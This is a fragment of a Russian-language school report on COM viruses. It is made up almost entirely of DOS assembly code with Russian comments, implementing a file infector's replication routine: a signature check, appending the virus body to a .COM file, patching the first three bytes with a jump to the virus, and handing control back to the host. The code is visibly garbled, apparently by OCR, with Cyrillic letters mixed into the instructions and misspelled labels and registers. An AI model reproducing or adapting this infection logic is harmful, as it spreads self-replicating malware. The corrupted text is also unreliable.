Доклад: СОМ-вирусы
jnc test_bytik
jmp tind_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать
jne NotJnfected
jmp find_next
.Файл не заражен - будем заражать
NotJnfected:
mov ax,[bp+(offset flen-offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:
.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h
[Устанавливаем регистр DS на сегмент кода
push cs
pop ds
.Копируем вирус в файл
mov ah,40h
mov ex,offset VirEnd-offset la
mov dx.bp
sub dx,offset myself-offset la
int 21 h
Записываем в начало файла переход на тело вируса
Write_Jmp:
.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h
[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx.offset jmpvir-offset myself
add dx.bp
int 21h
;3акрываем файл
Close:
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop ex
int 21h
exit:
восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf
Передаем управление программе-носителю
push 100h
retn